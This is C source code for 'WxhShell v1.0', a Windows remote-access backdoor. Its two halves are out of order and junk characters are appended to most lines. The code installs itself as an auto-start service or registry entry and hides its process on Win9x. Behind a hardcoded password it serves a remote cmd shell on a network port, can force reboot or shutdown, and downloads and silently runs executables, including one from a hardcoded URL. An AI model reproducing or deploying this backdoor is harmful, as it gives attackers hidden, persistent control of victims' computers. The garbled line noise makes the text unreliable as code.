    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {;r5]wimb  
    else { C 4,W[L]4"  
    closesocket(wsh); =9-c*bL  
    ExitThread(0); vr$ [  
    } '"Gi&:*nQ<  
    break; l]gf T&  
    } sXA=KD8  
  // 关机 /DCUwg=0  
  case 'd': { T=vI'"w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N{0 D<"  
    if(Boot(SHUTDOWN)) rcCM x"L=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lx SGvvP4  
    else { cqDnZ`|6  
    closesocket(wsh); G(i/ @>l  
    ExitThread(0); wB@A?&UY  
    } ,O(uuq  
    break; ryP z q}#  
    } p{Uro!J,K  
  // 获取shell XQ>m8K?\d  
  case 's': { lU maNZ  
    CmdShell(wsh); %?ad.F+7  
    closesocket(wsh); -VL3em|0  
    ExitThread(0); Jh1fM`kB5K  
    break; 8}2 `^<U  
  } * -)aGL  
  // 退出 oID, PB*9  
  case 'x': { &LE/hA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c)?y3LX  
    CloseIt(wsh); 7o3f5"z  
    break; *"wsMO  
    } NeH^g0Q2,g  
  // 离开 GI/o!0"_  
  case 'q': { LvS`   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bA:abO  
    closesocket(wsh); SX#ATf6#  
    WSACleanup(); 0t8-oui  
    exit(1); [LE_lATjU  
    break; Y&nY]VV  
        } :|bPr_&U$  
  } {>#Ya;E  
  } @C#lA2(I4  
gwyz)CUkL  
  // 提示信息 {.v+ iSM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t5S S]  
} ~_Aclm?  
  } S[Et!gj:  
d}1R<Q;F  
  return; tG'c79D\  
} !U@[lBW  
`J;_!~:  
// shell模块句柄 x(A .^Yz  
int CmdShell(SOCKET sock) GKX#-zsh79  
{ IIzdCa{l  
STARTUPINFO si; n=`UhC  
ZeroMemory(&si,sizeof(si)); z,vjY$t:/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +]G;_/[2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?(Nls.c  
PROCESS_INFORMATION ProcessInfo; Xh5 z8  
char cmdline[]="cmd"; QM=X<?m/,=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 72aj4k]^  
  return 0; r!+)U#8  
} r>V go):s  
3/iGSG`  
// 自身启动模式 TWMD f  
int StartFromService(void) 278 6tZF,  
{ SKGYmleR  
typedef struct v q|W&  
{ @l 1 piz8  
  DWORD ExitStatus; K:mb$YJ&  
  DWORD PebBaseAddress; BQsy)H`4E  
  DWORD AffinityMask; _("{fJ,A  
  DWORD BasePriority; w1[F]|  
  ULONG UniqueProcessId; ws@;2?%A  
  ULONG InheritedFromUniqueProcessId; "!2Fy-Y  
}   PROCESS_BASIC_INFORMATION; > #SQDVFf  
."dmL=  
PROCNTQSIP NtQueryInformationProcess; p\Jz<dkN1  
J*.qiUAgW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mhL,:UE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )tB mSVprl  
R4{2+q=0  
  HANDLE             hProcess; )]'?yS"  
  PROCESS_BASIC_INFORMATION pbi; 13Q|p,^R  
^$VOC>>9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WL<Cj_N_{H  
  if(NULL == hInst ) return 0; :WE(1!P@  
 QHOem=B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C;_10Rb2ut  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -rUn4a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jlItPd C v  
_rOKif?5  
  if (!NtQueryInformationProcess) return 0; !9B)/Xi  
`zF=h#i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k \|Hd"T  
  if(!hProcess) return 0; ~)ls.NXI  
dF"Sz4DY#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5TqX;=B  
F]x o*  
  CloseHandle(hProcess); '6WaG hvO  
.7" f~%&oP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (h%!Kun  
if(hProcess==NULL) return 0; T0i_X(_  
*:wu{3g}M`  
HMODULE hMod; 0Db#W6*^  
char procName[255]; *G^ QS"%  
unsigned long cbNeeded; s/8>(-H#  
dx?4)lb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \)pk/  
1s .Ose  
  CloseHandle(hProcess); !h4L_D0  
mJl|dk_c  
if(strstr(procName,"services")) return 1; // 以服务启动 1-4W4"#  
5P [b/.n  
  return 0; // 注册表启动 Ry8@U9B6,t  
} l:%4@t`  
4$C:r&K  
// 主模块 __OD^?qa  
int StartWxhshell(LPSTR lpCmdLine) WOiw 0  
{ 1jpcoJ@s  
  SOCKET wsl; 5#~u U  
BOOL val=TRUE; vzG(u_,9[  
  int port=0; ^<Q+=\h  
  struct sockaddr_in door; 6p])2]N>p  
VU9w2/cM  
  if(wscfg.ws_autoins) Install(); =otJf~  
wS9EC}s:Q  
port=atoi(lpCmdLine); b$[O^p9x  
BNL Q]  
if(port<=0) port=wscfg.ws_port; {fmSmD  
]25 xX  
  WSADATA data; <J!#k@LY]7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "CX&2Xfe  
'(4$h3-gv7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jNBvy1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EA8K*>'pv  
  door.sin_family = AF_INET; |p}qK Fdi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^^1rjh1I  
  door.sin_port = htons(port); Q E1DTU  
# **vIwX-Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2Ck'A0d  
closesocket(wsl); A@^Y2:pY  
return 1; d#'aTmu!  
} -AWL :<  
:_X9x{  
  if(listen(wsl,2) == INVALID_SOCKET) { eTw sh]  
closesocket(wsl); v47Y7s:uQ  
return 1; hi^@969  
} ~RgO9p(dY  
  Wxhshell(wsl); UsP1bh4  
  WSACleanup();  E|P  
O0[.*xG  
return 0; 5srj|'ja  
 #-r,;  
} ckG`^<  
9)}Nx>K  
// 以NT服务方式启动 vau0Jn%=ck  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z)*7LI  
{ {a;my"ly  
DWORD   status = 0; JI##l:,7r  
  DWORD   specificError = 0xfffffff; 9x$Kb7'F  
V~([{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N{w)}me[YY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MZ]#9/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pv,Q*gh`  
  serviceStatus.dwWin32ExitCode     = 0; LX5, _`B  
  serviceStatus.dwServiceSpecificExitCode = 0; ]#x!mZ!  
  serviceStatus.dwCheckPoint       = 0; b+7!$  
  serviceStatus.dwWaitHint       = 0; Y=94<e[f"  
no ).70K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V 3?x_pp  
  if (hServiceStatusHandle==0) return; L Vt{`   
v 9\2/B  
status = GetLastError(); h' #C$i  
  if (status!=NO_ERROR) i^ `]TOP  
{ 6_1v~#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2?J[D7  
    serviceStatus.dwCheckPoint       = 0; T-S6`^_L  
    serviceStatus.dwWaitHint       = 0; anxZ|DE  
    serviceStatus.dwWin32ExitCode     = status;  #4?Z|_j3  
    serviceStatus.dwServiceSpecificExitCode = specificError; Twl>Pn>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !A@Ft}FB  
    return; jr,j1K@_t  
  } OcWy#,uC  
` 9iB`<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gK7bP'S8H  
  serviceStatus.dwCheckPoint       = 0; St 4YNS.|  
  serviceStatus.dwWaitHint       = 0; O{@m,uY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kIR?r0_<G6  
} *%6NuZ  
y{{7)G  
// 处理NT服务事件,比如:启动、停止 Tp-<!^o4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KPW2e2{4@  
{ j6@5"wx  
switch(fdwControl) A 9\]y%!  
{ &"G4yM  
case SERVICE_CONTROL_STOP: |1M+FBT$w  
  serviceStatus.dwWin32ExitCode = 0; vMT:j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X=_`$ 0  
  serviceStatus.dwCheckPoint   = 0; H! IL5@@K  
  serviceStatus.dwWaitHint     = 0; (4ueO~jb $  
  { yhwwF n\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m 3k}iIU7  
  } ~Q4 emgBD  
  return; [3&Y* W  
case SERVICE_CONTROL_PAUSE: {tqLH2cO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; * }\}@0%  
  break; #*r u*  
case SERVICE_CONTROL_CONTINUE: [,_4#Zz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b3$aPwv  
  break; Dj0`#~  
case SERVICE_CONTROL_INTERROGATE: %#g9d  
  break; t>]wWYy  
}; ~_|OGp_a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ 8hAmM  
} o'uv5asdb  
-^a?]`3_v  
// 标准应用程序主函数 {Ftz4y)6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  +=Xgi$  
{ 02|f@bP.  
Gn+3OI"  
// 获取操作系统版本 $mS] K!\  
OsIsNt=GetOsVer(); ~QVN^8WPg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I)9un|+,y  
\*24NB  
  // 从命令行安装 1lAx"VL  
  if(strpbrk(lpCmdLine,"iI")) Install(); "'M>%m u  
/d<"{\o  
  // 下载执行文件 Tno[LP,  
if(wscfg.ws_downexe) { kaK0'l2%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G?`x$UU  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]gxt+'iAFS  
}  Xn<~ln  
#:C?:RMS  
if(!OsIsNt) { {OK+d#=  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^&nC)T<w  
HideProc(); 5|I2  
StartWxhshell(lpCmdLine); e7fA-,DV  
} S w<V/t  
else s*blZdP  
  if(StartFromService()) Mwm=r//  
  // 以服务方式启动 _ 9@D o6  
  StartServiceCtrlDispatcher(DispatchTable); bu&x& M*  
else 7hQf T76h  
  // 普通方式启动 f(Hh(  
  StartWxhshell(lpCmdLine); Lbo8> L(  
Woo2hg-ti  
return 0; lz=DP:/&  
} &PfCY{_  
f{]eb1  
G'*_7HD  
zP[_ccW@  
=========================================== a-P 'h1hbH  
-85]x)JE  
~hJ/&,vH!  
u!iBAr5  
J|ni'Hb  
ubq4Zv7'   
" (6Ssk4  
*Ey5F/N}$H  
#include <stdio.h> ,(%?j]_P2  
#include <string.h> <4caG2~q  
#include <windows.h> #1>DV@^F  
#include <winsock2.h> q(N2 #di  
#include <winsvc.h> |sa{!tKJ  
#include <urlmon.h>  pt`^4}  
iti~RV,  
#pragma comment (lib, "Ws2_32.lib") QH_0U`3  
#pragma comment (lib, "urlmon.lib") pI__<  
l?_h(Cq<  
#define MAX_USER   100 // 最大客户端连接数 '/Y D$*,  
#define BUF_SOCK   200 // sock buffer j_r?4k  
#define KEY_BUFF   255 // 输入 buffer 8XwZJ\5  
"X\|!Mxh  
#define REBOOT     0   // 重启 T?p' R  
#define SHUTDOWN   1   // 关机 gnAM}  
sn|q EH  
#define DEF_PORT   5000 // 监听端口 m 6Xex.d  
!^o(?1  
#define REG_LEN     16   // 注册表键长度 bp'qrcFuiL  
#define SVC_LEN     80   // NT服务名长度 (WW*yv.J  
 |7ga9  
// 从dll定义API aY/msplC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {i:5XL   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &}TfJ=gj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q}a, f75  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \ 2cI=Qf  
RoL5uha,l  
// wxhshell配置信息 Bl)znJ^  
struct WSCFG { Rnl 4  
  int ws_port;         // 监听端口 zjyj,jP  
  char ws_passstr[REG_LEN]; // 口令 8{mQmG4  
  int ws_autoins;       // 安装标记, 1=yes 0=no $OE~0Z\0  
  char ws_regname[REG_LEN]; // 注册表键名 ER z@o_  
  char ws_svcname[REG_LEN]; // 服务名 lq4vX^S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DXbzl +R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5&&6e`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0SoU\/kUi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5<%]6cx}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -jBk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V}leEf2'  
cfb8kNn~+  
}; XM0;cF  
1 \#n{a3  
// default Wxhshell configuration UfE41el:  
struct WSCFG wscfg={DEF_PORT, @<GVY))R8  
    "xuhuanlingzhe", ?q}XD c  
    1, LGxQ>f[V  
    "Wxhshell", ?DAW~+,!7o  
    "Wxhshell", P'4oI0Bw  
            "WxhShell Service", S6.N)7y  
    "Wrsky Windows CmdShell Service", o6@Hj+,,  
    "Please Input Your Password: ", Dv7/eRt  
  1, f8>S<:  
  "http://www.wrsky.com/wxhshell.exe", uYh6q1@"~  
  "Wxhshell.exe" gk%8iT  
    }; 3 cd5 g  
d+9T}? T:*  
// 消息定义模块 R]oi&"H@r)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q?Au.q],  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wm3fd 7T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ya+eGD@N':  
char *msg_ws_ext="\n\rExit."; p1dqDgF*  
char *msg_ws_end="\n\rQuit."; i(eLE"G+  
char *msg_ws_boot="\n\rReboot..."; 9Y9 pKTU  
char *msg_ws_poff="\n\rShutdown..."; E8-8E2i,  
char *msg_ws_down="\n\rSave to "; /ae]v+  
|( %3 '"Z  
char *msg_ws_err="\n\rErr!"; wH:'5+u:6  
char *msg_ws_ok="\n\rOK!"; 2>s@2=Aq  
YNGG> ;L  
char ExeFile[MAX_PATH]; Ov vM)?^#  
int nUser = 0; >s@6rNgf  
HANDLE handles[MAX_USER]; Cm4$&?  
int OsIsNt; X%S9 H^9  
yIS.'mK  
SERVICE_STATUS       serviceStatus; ;l]OmcL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |+?ABPk"  
=y3gnb6  
// 函数声明 HJY_l  
int Install(void); d|,,,+fS  
int Uninstall(void); UX-l`ygl  
int DownloadFile(char *sURL, SOCKET wsh); 8]DN]\\o  
int Boot(int flag); mp_(ke  
void HideProc(void); 1dhp/Qh  
int GetOsVer(void); By3/vb)M5  
int Wxhshell(SOCKET wsl); 5 =Os sAr  
void TalkWithClient(void *cs); Zi+>#kDV  
int CmdShell(SOCKET sock); cZ(7/Pl  
int StartFromService(void);  b;!oPT  
int StartWxhshell(LPSTR lpCmdLine); st;.Po[h  
Fm\ h883\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dh*>361y-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GHQa{@m2V  
nwd 02tu  
// 数据结构和表定义 1goK>=-^  
SERVICE_TABLE_ENTRY DispatchTable[] = J~Gq#C^e  
{ Ji7%=_@'-#  
{wscfg.ws_svcname, NTServiceMain}, .Gq)@{o>  
{NULL, NULL} =rj5 q  
}; #;F1+s<|QJ  
9v(&3,)a  
// 自我安装 5a9PM(  
int Install(void) v= b`kCH}  
{ [CH%(#>i~  
  char svExeFile[MAX_PATH]; %m'd~#pze  
  HKEY key; 1=DUFl.  
  strcpy(svExeFile,ExeFile); >w:px$g4  
ziuhS4k  
// 如果是win9x系统,修改注册表设为自启动 )J/,-p  
if(!OsIsNt) { 0T!_;IQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u7!X#<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); axOdGv5  
  RegCloseKey(key); e_6@oh2s-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V Iof4?i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C\7qAR\  
  RegCloseKey(key); cdL$T6y  
  return 0; EP#3+B sH  
    } mw<LNnT{8  
  } 5S'89 r3m  
} XUU l*5^  
else { 89F^I"Im(  
dMsX}=EI<  
// 如果是NT以上系统,安装为系统服务 '?+q3lps  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #vhxW=L`=  
if (schSCManager!=0) M*)}F  
{ B7qm;(?X&  
  SC_HANDLE schService = CreateService +{ QyB  
  ( |H&2[B"l  
  schSCManager, g/+P]c6/  
  wscfg.ws_svcname, 8U B-(~  
  wscfg.ws_svcdisp, mDmy637_  
  SERVICE_ALL_ACCESS, 6 2&E]>A(i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4LYeacL B  
  SERVICE_AUTO_START, wU_e/+0h  
  SERVICE_ERROR_NORMAL, Q7`}4c)  
  svExeFile, Qcu1&t\C  
  NULL, Xj.Tg1^K"  
  NULL, hV_eb6aj}P  
  NULL, #$(F&>pj  
  NULL, s OD>mc#%Y  
  NULL _yT Gv-  
  ); ' }rUbJo  
  if (schService!=0) b_*Y5"(*  
  { e:IUO1#  
  CloseServiceHandle(schService); =!_e(J  
  CloseServiceHandle(schSCManager); lz X0B&:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %s~MfK.k  
  strcat(svExeFile,wscfg.ws_svcname); [3++Q-rR=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZK))91;v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yG'5up  
  RegCloseKey(key); Ip]-OVg  
  return 0; 8>G3KZ3  
    } bH+p5Fd;  
  } AW@ I,  
  CloseServiceHandle(schSCManager); W?8 |h  
} 0_Tr>hz  
} w">XI)*z  
<5MnF  
return 1; +)Tt\Q%7  
} Hep]jxp+  
tWVbD%u^  
// 自我卸载 [E_6n$w  
int Uninstall(void) ?4wS/_C/  
{ ']1j M n  
  HKEY key; )'(7E$d  
%fMK^H8{  
if(!OsIsNt) { hA6!F#1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uJ,>Y# ?  
  RegDeleteValue(key,wscfg.ws_regname); zzi%r=%r&  
  RegCloseKey(key); [ Y.3miE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xn(lkQ6Fm  
  RegDeleteValue(key,wscfg.ws_regname); V%?oI]" l  
  RegCloseKey(key); %qRbl4  
  return 0; Sf[ZGY)  
  } +`l >_u'  
} )r-t$ L  
} uiDK&@RS  
else { %"V Y)  
pZz?c/h-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "exph$  
if (schSCManager!=0) hZ!N8nWwNR  
{ Da5Zz(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]+Yd#<j(u  
  if (schService!=0) A-r-^S0\  
  { hZ-No  
  if(DeleteService(schService)!=0) { @#Jc!p7)  
  CloseServiceHandle(schService); r-'(_t~FT  
  CloseServiceHandle(schSCManager); Iq.*2aff+  
  return 0; D1t@Y.vl  
  } /\_`Pkd3m  
  CloseServiceHandle(schService); -:t<%]RfY  
  } 0 } uEM_a  
  CloseServiceHandle(schSCManager); lN*O</L,"  
} hv te)  
} m/3b7c@r  
B<(v\=xZ  
return 1; `s(T (l  
} XHcT7}]  
%qL0=ad  
// 从指定url下载文件 .]g>.  
int DownloadFile(char *sURL, SOCKET wsh) ^il'Q_-{  
{ (1gfb*L  
  HRESULT hr; sL]KBux  
char seps[]= "/"; '`=z52  
char *token; J_]?.V*A  
char *file; ZP5.?A-=C  
char myURL[MAX_PATH]; v|`f8M2  
char myFILE[MAX_PATH]; #>C.61Fx  
SU9qF73Y  
strcpy(myURL,sURL); ENm\1  
  token=strtok(myURL,seps);  M]:4X_  
  while(token!=NULL) >t')ZSjRs  
  { :<f7;.  
    file=token; fgYdKv8  
  token=strtok(NULL,seps); '}4LHB;:  
  } @V:4tG.<sw  
f.cIhZF  
GetCurrentDirectory(MAX_PATH,myFILE); 4Mi~eL%D (  
strcat(myFILE, "\\"); tKgPKWP   
strcat(myFILE, file); vBAds  
  send(wsh,myFILE,strlen(myFILE),0); 7H~StdL/>  
send(wsh,"...",3,0); i]!CH2\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `=^;q 6f  
  if(hr==S_OK) 8?!=/Sc  
return 0; oUXu;@l  
else -Wc'k 2oU  
return 1; AGkk|`  
5CH9m[S  
} #jn6DL@[{  
Lw<?e;  
// 系统电源模块 w?]k$  
int Boot(int flag) 4.2qt  
{ <<!XWV*m  
  HANDLE hToken; pJ-/"Q|:i  
  TOKEN_PRIVILEGES tkp; z(L\I  
[xq"[*Evv  
  if(OsIsNt) { 0<75G6wd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U,S&"`a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ORk8^0\  
    tkp.PrivilegeCount = 1; vUh.ev0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k]W~_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  *e{d^  
if(flag==REBOOT) { H^sPC{6+pf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E8#RG-ci  
  return 0; +[@Ug`5M  
} e8O[xM  
else { m, ',luQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j/_@~MJBt  
  return 0; j*aN_UTr3  
} >:%YAR`  
  } o\u31,  
  else { 1"ko wp  
if(flag==REBOOT) { &niROM,;K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7c$;-O  
  return 0; v[WbQ5AND  
} )$V}tr!  
else { bv ,_7UOG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?<VahDBS+A  
  return 0; f@Mm{3&.  
} V4'G%!NY  
} ,y@` =  
aGvD  
return 1; 9NLO{kN  
} {FyGh */  
os*QWSs  
// win9x进程隐藏模块 |9. `qv  
void HideProc(void) 0p\R@{  
{ fXCx!3m  
Zo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _=@9XvNM  
  if ( hKernel != NULL ) xB"o 7,  
  { (r,tU(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d4<Ic#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uV?[eiezD0  
    FreeLibrary(hKernel); R06q~ >  
  } sXxF5&AF0  
OO5k _J  
return; @*jd.a`  
} 7RNf)nz  
=;Gy"F1 dp  
// 获取操作系统版本 "pTyQT9P  
int GetOsVer(void) "Wd?U[[  
{ C'3/B)u}l  
  OSVERSIONINFO winfo; 4jEPh{q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NidG|Yg~Z  
  GetVersionEx(&winfo); Fn0Rq9/@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )? WiO}"  
  return 1; OLpE0gZ.|`  
  else v`8dRVN  
  return 0; y)_T!&ze  
} vQCRs!A  
F3[3~r  
// 客户端句柄模块 PW)XDo7  
int Wxhshell(SOCKET wsl) vhiP8DQ  
{ is_`UDaB  
  SOCKET wsh; f.rc~UI?  
  struct sockaddr_in client; qYLOq `<f  
  DWORD myID; (m|w&oA/  
SA s wP  
  while(nUser<MAX_USER) xh Sp<|X_  
{ vG9A'R'P  
  int nSize=sizeof(client); ,W"Q)cL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |NFX"wv:c<  
  if(wsh==INVALID_SOCKET) return 1; >AIkkQT  
]v96Q/a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @4dB$QF`&  
if(handles[nUser]==0) DP`$gd  
  closesocket(wsh); rQgRD)_%w  
else 6+HpN"?e  
  nUser++; KrN#>do&<  
  } X]d["  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l%@>)%LA  
>(+g:p  
  return 0; g@]G [(  
} +4 U?*:n  
T. nY>Q8  
// 关闭 socket xe5|pBT  
void CloseIt(SOCKET wsh) !X721lNP  
{ .z7%74p  
closesocket(wsh); Kj;gxYD>6  
nUser--; HH/ bBM!  
ExitThread(0); A\J|eSG'$  
} {~7V A  
KsI[  
// 客户端请求句柄 ((L=1]w  
void TalkWithClient(void *cs) KMZ:$H  
{ gE8p**LT+  
VE{[52  
  SOCKET wsh=(SOCKET)cs; yZFm<_9>  
  char pwd[SVC_LEN]; [U[saR\  
  char cmd[KEY_BUFF]; #x Z7%    
char chr[1]; 'ms&ty*T  
int i,j; 3D>syf  
apQ` l^  
  while (nUser < MAX_USER) { 7A@GN A  
]&%_Fpx  
if(wscfg.ws_passstr) { C8i6ESmU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tpp. 9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &x$1hx'  
  //ZeroMemory(pwd,KEY_BUFF); @KRr$k  
      i=0; .T0w2Dv/  
  while(i<SVC_LEN) { Stqlp<xy  
*k$&U3=  
  // 设置超时 G/T oiUY  
  fd_set FdRead; *{|{T_H:  
  struct timeval TimeOut; MzLnD D^  
  FD_ZERO(&FdRead); A}KRXkB  
  FD_SET(wsh,&FdRead); e\%emp->  
  TimeOut.tv_sec=8; / *=1hF  
  TimeOut.tv_usec=0; gB1w,96J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H(bR@Qok  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ab4(?-'-  
L h"K"Uv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YI!ecx%/4  
  pwd=chr[0]; & yFS  
  if(chr[0]==0xd || chr[0]==0xa) {  meQ>mW  
  pwd=0; }& ;49k  
  break; MU2ufKq4)  
  } 8,Iil:w  
  i++; z/zUb``  
    } D0Cs g39  
2 t'^  
  // 如果是非法用户,关闭 socket &wc% mQV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8z\v|-%Z  
} ir^%9amh  
g_8Bhe"ik  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;w,+x 7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8nn%wps  
Yg_;Eu0'?  
while(1) { tNf?pV77  
P9(]9np,,  
  ZeroMemory(cmd,KEY_BUFF); L|hsGm\  
c\.Hs9T >  
      // 自动支持客户端 telnet标准   *`D(drnT{  
  j=0; YU! SdT$  
  while(j<KEY_BUFF) { ZZ/F}9!=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <n+?7`d,  
  cmd[j]=chr[0]; )Zx;Z[  
  if(chr[0]==0xa || chr[0]==0xd) { ox9$aBjJ  
  cmd[j]=0; O_@  
  break; ~"-+BG(5  
  } > cFH=um  
  j++; ,m<t/@^]  
    } yhF{ cK =  
yu8xTh$:  
  // 下载文件 k@QU<cvI  
  if(strstr(cmd,"http://")) { Nm;(M =  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hrb67a%b  
  if(DownloadFile(cmd,wsh)) LRNgpjE}  
